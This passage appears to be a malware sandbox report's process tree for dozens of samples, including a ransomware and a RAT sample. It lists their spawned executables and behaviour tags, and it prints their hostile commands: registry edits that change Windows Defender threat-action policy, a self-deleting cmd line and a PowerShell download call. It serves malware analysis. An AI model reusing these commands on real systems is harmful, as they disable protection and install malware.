C:\Users\Admin\Downloads\240920-hhlx2stcjeed0a72d8ad0f4fda539a7d830b4e6463_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-hhlx2stcjeed0a72d8ad0f4fda539a7d830b4e6463_JaffaCakes118.exe4⤵
- Server Software Component: Terminal Services DLL
- Loads dropped DLL
-
-
C:\Users\Admin\Downloads\240920-g73fnatbln23431164eb1a52949fee1b6c612248cb26f9b183f0ce4344b8f305d6032b6e99.exeC:\Users\Admin\Downloads\240920-g73fnatbln23431164eb1a52949fee1b6c612248cb26f9b183f0ce4344b8f305d6032b6e99.exe4⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\RVN.exeC:\Users\Admin\AppData\Local\Temp\\RVN.exe5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\RVN.exe > nul6⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
-
C:\Users\Admin\Downloads\240920-hbdcbstcpnd138992084427e22aa3aa2ba958243a900ba6b1e2f7f0b36cabdf0ce0a8abaaaN.exeC:\Users\Admin\Downloads\240920-hbdcbstcpnd138992084427e22aa3aa2ba958243a900ba6b1e2f7f0b36cabdf0ce0a8abaaaN.exe4⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Omcjep32.exeC:\Windows\system32\Omcjep32.exe5⤵
-
-
-
C:\Users\Admin\Downloads\240920-hrhxrathrm92fd33a8552caa01137aea360f4aced0b327e9bded5dbd62457a1f3c11b1b3f8N.exeC:\Users\Admin\Downloads\240920-hrhxrathrm92fd33a8552caa01137aea360f4aced0b327e9bded5dbd62457a1f3c11b1b3f8N.exe4⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Ohcegi32.exeC:\Windows\system32\Ohcegi32.exe5⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Okkdic32.exeC:\Windows\system32\Okkdic32.exe6⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Dmohno32.exeC:\Windows\system32\Dmohno32.exe7⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Ojomcopk.exeC:\Windows\system32\Ojomcopk.exe8⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Pdenmbkk.exeC:\Windows\system32\Pdenmbkk.exe9⤵
- Drops file in System32 directory
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-hlj8matdked9999e66406e1b5cdec16bd7f7e2f51270e9c98879e07a571139fa9e3729b28aN.exeC:\Users\Admin\Downloads\240920-hlj8matdked9999e66406e1b5cdec16bd7f7e2f51270e9c98879e07a571139fa9e3729b28aN.exe4⤵
-
C:\Windows\SysWOW64\Paelfmaf.exeC:\Windows\system32\Paelfmaf.exe5⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Bnfihkqm.exeC:\Windows\system32\Bnfihkqm.exe6⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Modifies registry class
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\Downloads\240920-g2bqrasgrq0add1ad58198be03778337643872e63eae3e9d241dd0d53d46d6520e171160de.cmd4⤵
-
-
C:\Users\Admin\Downloads\240920-g77qdasglb2024-09-20_bf9f2d91c84f08138ee94774deba4af7_poet-rat_snatch.exeC:\Users\Admin\Downloads\240920-g77qdasglb2024-09-20_bf9f2d91c84f08138ee94774deba4af7_poet-rat_snatch.exe4⤵
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\assembly\GAC_32\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe"C:\Windows\Microsoft.NET\assembly\GAC_32\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe"5⤵
-
-
C:\Windows\Microsoft.NET\assembly\GAC_32\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe"C:\Windows\Microsoft.NET\assembly\GAC_32\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe"5⤵
-
-
-
C:\Users\Admin\Downloads\240920-hgxm6atbqeed09e87980a5dba85b528a3f5472fbf1_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-hgxm6atbqeed09e87980a5dba85b528a3f5472fbf1_JaffaCakes118.exe4⤵
- Loads dropped DLL
-
-
C:\Users\Admin\Downloads\240920-g5x36atann71adb4bebd1e8624669297e957c9ef4b0965cb99ee1c58976b3b7e2c6d0cc76eN.exeC:\Users\Admin\Downloads\240920-g5x36atann71adb4bebd1e8624669297e957c9ef4b0965cb99ee1c58976b3b7e2c6d0cc76eN.exe4⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Drops file in System32 directory
- Modifies registry class
-
C:\Windows\SysWOW64\Oanfen32.exeC:\Windows\system32\Oanfen32.exe5⤵
-
-
-
C:\Users\Admin\Downloads\240920-hgdv2stepmed094e4d0ab5ef4490915f0b97d2b127_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-hgdv2stepmed094e4d0ab5ef4490915f0b97d2b127_JaffaCakes118.exe4⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Downloads\240920-hjsrzstfqlf42b7632346d05e364700e0ce764519df9ea14a935c7d107bd42024db2fb0637N.exeC:\Users\Admin\Downloads\240920-hjsrzstfqlf42b7632346d05e364700e0ce764519df9ea14a935c7d107bd42024db2fb0637N.exe4⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Paoollik.exeC:\Windows\system32\Paoollik.exe5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 11560 -s 4126⤵
- Program crash
-
-
-
-
C:\Users\Admin\Downloads\240920-g4ycjaseqded01c63139b83df90e552b19c46bae21_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-g4ycjaseqded01c63139b83df90e552b19c46bae21_JaffaCakes118.exe4⤵
- Modifies WinLogon for persistence
- Checks BIOS information in registry
- Checks computer location settings
- Loads dropped DLL
- Adds Run key to start application
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windupdt\winupdate.exe"C:\Windupdt\winupdate.exe"5⤵
-
-
-
C:\Users\Admin\Downloads\240920-g2ccaashjjd4ed87dd1c7afc62a1725b6fe79d4727f31eaa1969462fd00527410222f0a02aN.exeC:\Users\Admin\Downloads\240920-g2ccaashjjd4ed87dd1c7afc62a1725b6fe79d4727f31eaa1969462fd00527410222f0a02aN.exe4⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Windows\userinit.exeC:\Windows\userinit.exe5⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\system.exeC:\Windows\system32\system.exe6⤵
-
-
-
-
C:\Users\Admin\Downloads\240920-hgglyatbped6ab20a741fb604ac2915abe9a35c5bd8d957ee48ff47abd512886c7fe857ed2N.exeC:\Users\Admin\Downloads\240920-hgglyatbped6ab20a741fb604ac2915abe9a35c5bd8d957ee48ff47abd512886c7fe857ed2N.exe4⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Modifies registry class
-
C:\Windows\SysWOW64\Neclenfo.exeC:\Windows\system32\Neclenfo.exe5⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
-
-
C:\Users\Admin\Downloads\240920-g47k7sserfed01f9e2abb1177c935f191f89f23346_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-g47k7sserfed01f9e2abb1177c935f191f89f23346_JaffaCakes118.exe4⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8964 -s 4165⤵
- Program crash
-
-
-
C:\Users\Admin\Downloads\240920-hnvgdatejg202409206f1a1461f95d3de99d47f68b1da78513bkransomware.exeC:\Users\Admin\Downloads\240920-hnvgdatejg202409206f1a1461f95d3de99d47f68b1da78513bkransomware.exe4⤵
- Checks computer location settings
- Loads dropped DLL
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
-
-
C:\Users\Admin\Downloads\240920-g3zh7ssemfed010667eff2b838bdb1c53a593d1ac5_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-g3zh7ssemfed010667eff2b838bdb1c53a593d1ac5_JaffaCakes118.exe4⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Downloads\240920-hltr3atgnjcae21df6f73fb9e5ad49b7643f1720e701b67f63d4335cbcbe8c92f32955b586N.exeC:\Users\Admin\Downloads\240920-hltr3atgnjcae21df6f73fb9e5ad49b7643f1720e701b67f63d4335cbcbe8c92f32955b586N.exe4⤵
-
C:\Windows\SysWOW64\Oalipoiq.exeC:\Windows\system32\Oalipoiq.exe5⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Modifies registry class
-
C:\Windows\SysWOW64\Peahgl32.exeC:\Windows\system32\Peahgl32.exe6⤵
- Modifies registry class
-
-
-
-
C:\Users\Admin\Downloads\240920-g2xcfsshkqed004486c825004330a0fcd1945ee0f4_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-g2xcfsshkqed004486c825004330a0fcd1945ee0f4_JaffaCakes118.exe4⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\Downloads\240920-g2xcfsshkqed004486c825004330a0fcd1945ee0f4_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-g2xcfsshkqed004486c825004330a0fcd1945ee0f4_JaffaCakes118.exe5⤵
-
-
-
C:\Users\Admin\Downloads\240920-hanrnstcmj31c7bc1668067e2216b9917975bd860d7ba516bf3503aec9be590b479d50145bN.exeC:\Users\Admin\Downloads\240920-hanrnstcmj31c7bc1668067e2216b9917975bd860d7ba516bf3503aec9be590b479d50145bN.exe4⤵
-
C:\Windows\SysWOW64\Nmnqjp32.exeC:\Windows\system32\Nmnqjp32.exe5⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
-
-
C:\Users\Admin\Downloads\240920-hcjkqstdkled06643a0af08af627c7ef2038523c6b_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-hcjkqstdkled06643a0af08af627c7ef2038523c6b_JaffaCakes118.exe4⤵
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
C:\Users\Admin\Downloads\240920-hqa6hsthnr43b44ff0c2eb02450b5df6e7312a51f1576fbc51608bcfd099bc7dd7bc0b3ba5N.exeC:\Users\Admin\Downloads\240920-hqa6hsthnr43b44ff0c2eb02450b5df6e7312a51f1576fbc51608bcfd099bc7dd7bc0b3ba5N.exe4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Oloahhki.exeC:\Windows\system32\Oloahhki.exe5⤵
-
-
-
C:\Users\Admin\Downloads\240920-hn58watelaed0e597c8f3a2365d900aa31d29858a8_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-hn58watelaed0e597c8f3a2365d900aa31d29858a8_JaffaCakes118.exe4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Downloads\240920-g7eplatbjmd7ea174b9c52640f678f9428bba5c86d19a25c5ed56f9d71db18d8d49f9c636cN.exeC:\Users\Admin\Downloads\240920-g7eplatbjmd7ea174b9c52640f678f9428bba5c86d19a25c5ed56f9d71db18d8d49f9c636cN.exe4⤵
- Drops file in Windows directory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System\ztgKCMz.exeC:\Windows\System\ztgKCMz.exe5⤵
-
-
C:\Windows\System\kNyWRGY.exeC:\Windows\System\kNyWRGY.exe5⤵
-
-
C:\Windows\System\ncpriwe.exeC:\Windows\System\ncpriwe.exe5⤵
-
-
C:\Windows\System\wSoLWPe.exeC:\Windows\System\wSoLWPe.exe5⤵
-
-
C:\Windows\System\LVhNZZb.exeC:\Windows\System\LVhNZZb.exe5⤵
-
-
C:\Windows\System\QQryjGg.exeC:\Windows\System\QQryjGg.exe5⤵
-
-
C:\Windows\System\NObrlLv.exeC:\Windows\System\NObrlLv.exe5⤵
-
-
C:\Windows\System\zcGPSCd.exeC:\Windows\System\zcGPSCd.exe5⤵
-
-
C:\Windows\System\lDPthBU.exeC:\Windows\System\lDPthBU.exe5⤵
-
-
C:\Windows\System\pZxqfeU.exeC:\Windows\System\pZxqfeU.exe5⤵
-
-
C:\Windows\System\iUqJFNe.exeC:\Windows\System\iUqJFNe.exe5⤵
-
-
C:\Windows\System\VdNjsRH.exeC:\Windows\System\VdNjsRH.exe5⤵
-
-
C:\Windows\System\davvDHl.exeC:\Windows\System\davvDHl.exe5⤵
-
-
C:\Windows\System\jOfbPsz.exeC:\Windows\System\jOfbPsz.exe5⤵
-
-
C:\Windows\System\wZFuOCY.exeC:\Windows\System\wZFuOCY.exe5⤵
-
-
C:\Windows\System\IdcSePs.exeC:\Windows\System\IdcSePs.exe5⤵
-
-
C:\Windows\System\ixdjscY.exeC:\Windows\System\ixdjscY.exe5⤵
-
-
C:\Windows\System\aywzjhS.exeC:\Windows\System\aywzjhS.exe5⤵
-
-
C:\Windows\System\yiPpzmg.exeC:\Windows\System\yiPpzmg.exe5⤵
-
-
C:\Windows\System\BCoiSla.exeC:\Windows\System\BCoiSla.exe5⤵
-
-
C:\Windows\System\BknTcjl.exeC:\Windows\System\BknTcjl.exe5⤵
-
-
C:\Windows\System\GJSTkWU.exeC:\Windows\System\GJSTkWU.exe5⤵
-
-
C:\Windows\System\uLsFXJO.exeC:\Windows\System\uLsFXJO.exe5⤵
-
-
C:\Windows\System\wsvwAzF.exeC:\Windows\System\wsvwAzF.exe5⤵
-
-
C:\Windows\System\ZirGVlx.exeC:\Windows\System\ZirGVlx.exe5⤵
-
-
C:\Windows\System\TsJtPpV.exeC:\Windows\System\TsJtPpV.exe5⤵
-
-
C:\Windows\System\DAcQcJF.exeC:\Windows\System\DAcQcJF.exe5⤵
-
-
C:\Windows\System\KdiBkeS.exeC:\Windows\System\KdiBkeS.exe5⤵
-
-
C:\Windows\System\LbCfwPR.exeC:\Windows\System\LbCfwPR.exe5⤵
-
-
C:\Windows\System\qAjpYck.exeC:\Windows\System\qAjpYck.exe5⤵
-
-
C:\Windows\System\MqXiyOo.exeC:\Windows\System\MqXiyOo.exe5⤵
-
-
C:\Windows\System\GpXRBNh.exeC:\Windows\System\GpXRBNh.exe5⤵
-
-
C:\Windows\System\iZZrajk.exeC:\Windows\System\iZZrajk.exe5⤵
-
-
C:\Windows\System\yTmxteh.exeC:\Windows\System\yTmxteh.exe5⤵
-
-
C:\Windows\System\NxPIxIh.exeC:\Windows\System\NxPIxIh.exe5⤵
-
-
C:\Windows\System\HYqlZsE.exeC:\Windows\System\HYqlZsE.exe5⤵
-
-
C:\Windows\System\uQQGfnt.exeC:\Windows\System\uQQGfnt.exe5⤵
-
-
C:\Windows\System\NTcXCaP.exeC:\Windows\System\NTcXCaP.exe5⤵
-
-
C:\Windows\System\FBNZQKA.exeC:\Windows\System\FBNZQKA.exe5⤵
-
-
C:\Windows\System\lIbfssr.exeC:\Windows\System\lIbfssr.exe5⤵
-
-
C:\Windows\System\CegwYfH.exeC:\Windows\System\CegwYfH.exe5⤵
-
-
C:\Windows\System\VtpUgAv.exeC:\Windows\System\VtpUgAv.exe5⤵
-
-
C:\Windows\System\jEwXfWT.exeC:\Windows\System\jEwXfWT.exe5⤵
-
-
C:\Windows\System\XAgOMCF.exeC:\Windows\System\XAgOMCF.exe5⤵
-
-
C:\Windows\System\cWtPgAd.exeC:\Windows\System\cWtPgAd.exe5⤵
-
-
C:\Windows\System\THIfQue.exeC:\Windows\System\THIfQue.exe5⤵
-
-
C:\Windows\System\zkSYveS.exeC:\Windows\System\zkSYveS.exe5⤵
-
-
C:\Windows\System\iNyhDes.exeC:\Windows\System\iNyhDes.exe5⤵
-
-
C:\Windows\System\ugeAmbJ.exeC:\Windows\System\ugeAmbJ.exe5⤵
-
-
C:\Windows\System\CePYnOW.exeC:\Windows\System\CePYnOW.exe5⤵
-
-
C:\Windows\System\pvBtJMH.exeC:\Windows\System\pvBtJMH.exe5⤵
-
-
C:\Windows\System\yUEiGjd.exeC:\Windows\System\yUEiGjd.exe5⤵
-
-
C:\Windows\System\WaVSuTE.exeC:\Windows\System\WaVSuTE.exe5⤵
-
-
C:\Windows\System\QryYlgQ.exeC:\Windows\System\QryYlgQ.exe5⤵
-
-
C:\Windows\System\LfTrawx.exeC:\Windows\System\LfTrawx.exe5⤵
-
-
C:\Windows\System\pNiUspl.exeC:\Windows\System\pNiUspl.exe5⤵
-
-
C:\Windows\System\iuYmuSK.exeC:\Windows\System\iuYmuSK.exe5⤵
-
-
C:\Windows\System\VxRxMxl.exeC:\Windows\System\VxRxMxl.exe5⤵
-
-
C:\Windows\System\jNZigUK.exeC:\Windows\System\jNZigUK.exe5⤵
-
-
C:\Windows\System\NlDNZLX.exeC:\Windows\System\NlDNZLX.exe5⤵
-
-
C:\Windows\System\RRysscC.exeC:\Windows\System\RRysscC.exe5⤵
-
-
C:\Windows\System\uNIbPgh.exeC:\Windows\System\uNIbPgh.exe5⤵
-
-
C:\Windows\System\kVKtPLu.exeC:\Windows\System\kVKtPLu.exe5⤵
-
-
C:\Windows\System\dndQHge.exeC:\Windows\System\dndQHge.exe5⤵
-
-
C:\Windows\System\lSfIGgc.exeC:\Windows\System\lSfIGgc.exe5⤵
-
-
C:\Windows\System\cpROzDU.exeC:\Windows\System\cpROzDU.exe5⤵
-
-
C:\Windows\System\QLoJVVW.exeC:\Windows\System\QLoJVVW.exe5⤵
-
-
C:\Windows\System\moagTOD.exeC:\Windows\System\moagTOD.exe5⤵
-
-
C:\Windows\System\FrFuqyN.exeC:\Windows\System\FrFuqyN.exe5⤵
-
-
C:\Windows\System\fllVHvT.exeC:\Windows\System\fllVHvT.exe5⤵
-
-
C:\Windows\System\UItaeQo.exeC:\Windows\System\UItaeQo.exe5⤵
-
-
C:\Windows\System\mVePawb.exeC:\Windows\System\mVePawb.exe5⤵
-
-
C:\Windows\System\EAVQHXm.exeC:\Windows\System\EAVQHXm.exe5⤵
-
-
C:\Windows\System\FkYIArh.exeC:\Windows\System\FkYIArh.exe5⤵
-
-
C:\Windows\System\ayicZUL.exeC:\Windows\System\ayicZUL.exe5⤵
-
-
C:\Windows\System\NPjKNlP.exeC:\Windows\System\NPjKNlP.exe5⤵
-
-
C:\Windows\System\LlzSTib.exeC:\Windows\System\LlzSTib.exe5⤵
-
-
C:\Windows\System\IFHDcTg.exeC:\Windows\System\IFHDcTg.exe5⤵
-
-
C:\Windows\System\ZmVaTnN.exeC:\Windows\System\ZmVaTnN.exe5⤵
-
-
C:\Windows\System\ImLATCm.exeC:\Windows\System\ImLATCm.exe5⤵
-
-
C:\Windows\System\CCIiUSX.exeC:\Windows\System\CCIiUSX.exe5⤵
-
-
C:\Windows\System\SiUSdzW.exeC:\Windows\System\SiUSdzW.exe5⤵
-
-
C:\Windows\System\UgCkHzi.exeC:\Windows\System\UgCkHzi.exe5⤵
-
-
C:\Windows\System\DfdZftC.exeC:\Windows\System\DfdZftC.exe5⤵
-
-
C:\Windows\System\tIJdGsG.exeC:\Windows\System\tIJdGsG.exe5⤵
-
-
C:\Windows\System\DBXGOum.exeC:\Windows\System\DBXGOum.exe5⤵
-
-
C:\Windows\System\mOCofpy.exeC:\Windows\System\mOCofpy.exe5⤵
-
-
C:\Windows\System\tPqypvP.exeC:\Windows\System\tPqypvP.exe5⤵
-
-
C:\Windows\System\vCftbOh.exeC:\Windows\System\vCftbOh.exe5⤵
-
-
C:\Windows\System\SFglNoN.exeC:\Windows\System\SFglNoN.exe5⤵
-
-
C:\Windows\System\CmlgFon.exeC:\Windows\System\CmlgFon.exe5⤵
-
-
C:\Windows\System\ogeFqjc.exeC:\Windows\System\ogeFqjc.exe5⤵
-
-
C:\Windows\System\iEeWwBW.exeC:\Windows\System\iEeWwBW.exe5⤵
-
-
C:\Windows\System\UgyybQr.exeC:\Windows\System\UgyybQr.exe5⤵
-
-
C:\Windows\System\iDQizJo.exeC:\Windows\System\iDQizJo.exe5⤵
-
-
C:\Windows\System\okZhANV.exeC:\Windows\System\okZhANV.exe5⤵
-
-
C:\Windows\System\uxLLLte.exeC:\Windows\System\uxLLLte.exe5⤵
-
-
C:\Windows\System\ORPoCgA.exeC:\Windows\System\ORPoCgA.exe5⤵
-
-
C:\Windows\System\luUNeHC.exeC:\Windows\System\luUNeHC.exe5⤵
-
-
C:\Windows\System\lxZPUiB.exeC:\Windows\System\lxZPUiB.exe5⤵
-
-
C:\Windows\System\aHxrGJS.exeC:\Windows\System\aHxrGJS.exe5⤵
-
-
C:\Windows\System\DwfzTTd.exeC:\Windows\System\DwfzTTd.exe5⤵
-
-
C:\Windows\System\WXAsnBJ.exeC:\Windows\System\WXAsnBJ.exe5⤵
-
-
C:\Windows\System\hRAnODf.exeC:\Windows\System\hRAnODf.exe5⤵
-
-
C:\Windows\System\FoJUCmB.exeC:\Windows\System\FoJUCmB.exe5⤵
-
-
C:\Windows\System\nEDqAmn.exeC:\Windows\System\nEDqAmn.exe5⤵
-
-
C:\Windows\System\hGzsPuA.exeC:\Windows\System\hGzsPuA.exe5⤵
-
-
C:\Windows\System\eRufgEY.exeC:\Windows\System\eRufgEY.exe5⤵
-
-
C:\Windows\System\YKQyMXj.exeC:\Windows\System\YKQyMXj.exe5⤵
-
-
C:\Windows\System\htzGAHI.exeC:\Windows\System\htzGAHI.exe5⤵
-
-
C:\Windows\System\dHFnIzR.exeC:\Windows\System\dHFnIzR.exe5⤵
-
-
C:\Windows\System\hEWRknH.exeC:\Windows\System\hEWRknH.exe5⤵
-
-
C:\Windows\System\UVkgOUp.exeC:\Windows\System\UVkgOUp.exe5⤵
-
-
C:\Windows\System\AoVnrSl.exeC:\Windows\System\AoVnrSl.exe5⤵
-
-
C:\Windows\System\zKNXQbd.exeC:\Windows\System\zKNXQbd.exe5⤵
-
-
C:\Windows\System\nbaJigd.exeC:\Windows\System\nbaJigd.exe5⤵
-
-
C:\Windows\System\nIQsxce.exeC:\Windows\System\nIQsxce.exe5⤵
-
-
C:\Windows\System\Kwxvnmn.exeC:\Windows\System\Kwxvnmn.exe5⤵
-
-
C:\Windows\System\UWncJjF.exeC:\Windows\System\UWncJjF.exe5⤵
-
-
C:\Windows\System\nKPtGdt.exeC:\Windows\System\nKPtGdt.exe5⤵
-
-
C:\Windows\System\AzTuTaD.exeC:\Windows\System\AzTuTaD.exe5⤵
-
-
C:\Windows\System\MhxHGyp.exeC:\Windows\System\MhxHGyp.exe5⤵
-
-
C:\Windows\System\ntkHKyy.exeC:\Windows\System\ntkHKyy.exe5⤵
-
-
C:\Windows\System\UajmpOU.exeC:\Windows\System\UajmpOU.exe5⤵
-
-
C:\Windows\System\KkxbYbr.exeC:\Windows\System\KkxbYbr.exe5⤵
-
-
C:\Windows\System\bsccpzr.exeC:\Windows\System\bsccpzr.exe5⤵
-
-
C:\Windows\System\KqKLBhF.exeC:\Windows\System\KqKLBhF.exe5⤵
-
-
C:\Windows\System\skgTuFo.exeC:\Windows\System\skgTuFo.exe5⤵
-
-
C:\Windows\System\XWZcNmb.exeC:\Windows\System\XWZcNmb.exe5⤵
-
-
C:\Windows\System\NkegwUI.exeC:\Windows\System\NkegwUI.exe5⤵
-
-
C:\Windows\System\svPwJvh.exeC:\Windows\System\svPwJvh.exe5⤵
-
-
C:\Windows\System\fRJqyan.exeC:\Windows\System\fRJqyan.exe5⤵
-
-
C:\Windows\System\FWunSTU.exeC:\Windows\System\FWunSTU.exe5⤵
-
-
C:\Windows\System\iulrkJY.exeC:\Windows\System\iulrkJY.exe5⤵
-
-
C:\Windows\System\YEATYJW.exeC:\Windows\System\YEATYJW.exe5⤵
-
-
C:\Windows\System\nkelUmw.exeC:\Windows\System\nkelUmw.exe5⤵
-
-
C:\Windows\System\ANQGyGZ.exeC:\Windows\System\ANQGyGZ.exe5⤵
-
-
C:\Windows\System\QSFJGHX.exeC:\Windows\System\QSFJGHX.exe5⤵
-
-
C:\Windows\System\oWgjwJw.exeC:\Windows\System\oWgjwJw.exe5⤵
-
-
C:\Windows\System\ybdiYUR.exeC:\Windows\System\ybdiYUR.exe5⤵
-
-
C:\Windows\System\RUnvDcj.exeC:\Windows\System\RUnvDcj.exe5⤵
-
-
C:\Windows\System\wyWzoiF.exeC:\Windows\System\wyWzoiF.exe5⤵
-
-
C:\Windows\System\TCaWQXo.exeC:\Windows\System\TCaWQXo.exe5⤵
-
-
C:\Windows\System\GKuZwqq.exeC:\Windows\System\GKuZwqq.exe5⤵
-
-
C:\Windows\System\iAZeAaD.exeC:\Windows\System\iAZeAaD.exe5⤵
-
-
C:\Windows\System\ezIgpOB.exeC:\Windows\System\ezIgpOB.exe5⤵
-
-
C:\Windows\System\kVNiqFL.exeC:\Windows\System\kVNiqFL.exe5⤵
-
-
C:\Windows\System\yVOKLWG.exeC:\Windows\System\yVOKLWG.exe5⤵
-
-
C:\Windows\System\OVroBVY.exeC:\Windows\System\OVroBVY.exe5⤵
-
-
C:\Windows\System\bYlVEvs.exeC:\Windows\System\bYlVEvs.exe5⤵
-
-
C:\Windows\System\BuvXBKo.exeC:\Windows\System\BuvXBKo.exe5⤵
-
-
C:\Windows\System\HiCbuxv.exeC:\Windows\System\HiCbuxv.exe5⤵
-
-
C:\Windows\System\twQrRuk.exeC:\Windows\System\twQrRuk.exe5⤵
-
-
C:\Windows\System\ksXZgNN.exeC:\Windows\System\ksXZgNN.exe5⤵
-
-
C:\Windows\System\FedTXWV.exeC:\Windows\System\FedTXWV.exe5⤵
-
-
C:\Windows\System\YCsVrYo.exeC:\Windows\System\YCsVrYo.exe5⤵
-
-
C:\Windows\System\UAqUqhZ.exeC:\Windows\System\UAqUqhZ.exe5⤵
-
-
C:\Windows\System\JTzGerP.exeC:\Windows\System\JTzGerP.exe5⤵
-
-
C:\Windows\System\aLsxUSo.exeC:\Windows\System\aLsxUSo.exe5⤵
-
-
C:\Windows\System\ihRWEHk.exeC:\Windows\System\ihRWEHk.exe5⤵
-
-
C:\Windows\System\nWYuFCl.exeC:\Windows\System\nWYuFCl.exe5⤵
-
-
C:\Windows\System\MVCtGbP.exeC:\Windows\System\MVCtGbP.exe5⤵
-
-
C:\Windows\System\XAxwOnJ.exeC:\Windows\System\XAxwOnJ.exe5⤵
-
-
C:\Windows\System\blufCAn.exeC:\Windows\System\blufCAn.exe5⤵
-
-
C:\Windows\System\pCvEIWq.exeC:\Windows\System\pCvEIWq.exe5⤵
-
-
C:\Windows\System\KVxgcnw.exeC:\Windows\System\KVxgcnw.exe5⤵
-
-
C:\Windows\System\MVbamnS.exeC:\Windows\System\MVbamnS.exe5⤵
-
-
C:\Windows\System\awCpaej.exeC:\Windows\System\awCpaej.exe5⤵
-
-
C:\Windows\System\DqXfcmW.exeC:\Windows\System\DqXfcmW.exe5⤵
-
-
C:\Windows\System\BQGEzRr.exeC:\Windows\System\BQGEzRr.exe5⤵
-
-
C:\Windows\System\yckPkSE.exeC:\Windows\System\yckPkSE.exe5⤵
-
-
C:\Windows\System\YmDVCvs.exeC:\Windows\System\YmDVCvs.exe5⤵
-
-
C:\Windows\System\PwVwbXq.exeC:\Windows\System\PwVwbXq.exe5⤵
-
-
C:\Windows\System\CaSCAyq.exeC:\Windows\System\CaSCAyq.exe5⤵
-
-
C:\Windows\System\JXKXWHX.exeC:\Windows\System\JXKXWHX.exe5⤵
-
-
C:\Windows\System\TeSvtaq.exeC:\Windows\System\TeSvtaq.exe5⤵
-
-
C:\Windows\System\gcBTkGq.exeC:\Windows\System\gcBTkGq.exe5⤵
-
-
C:\Windows\System\EbpXpvq.exeC:\Windows\System\EbpXpvq.exe5⤵
-
-
C:\Windows\System\jEvwinV.exeC:\Windows\System\jEvwinV.exe5⤵
-
-
C:\Windows\System\jUGmqxR.exeC:\Windows\System\jUGmqxR.exe5⤵
-
-
C:\Windows\System\ZjgsQBq.exeC:\Windows\System\ZjgsQBq.exe5⤵
-
-
C:\Windows\System\zJyCWde.exeC:\Windows\System\zJyCWde.exe5⤵
-
-
C:\Windows\System\dEnbeEY.exeC:\Windows\System\dEnbeEY.exe5⤵
-
-
C:\Windows\System\uLFQRYH.exeC:\Windows\System\uLFQRYH.exe5⤵
-
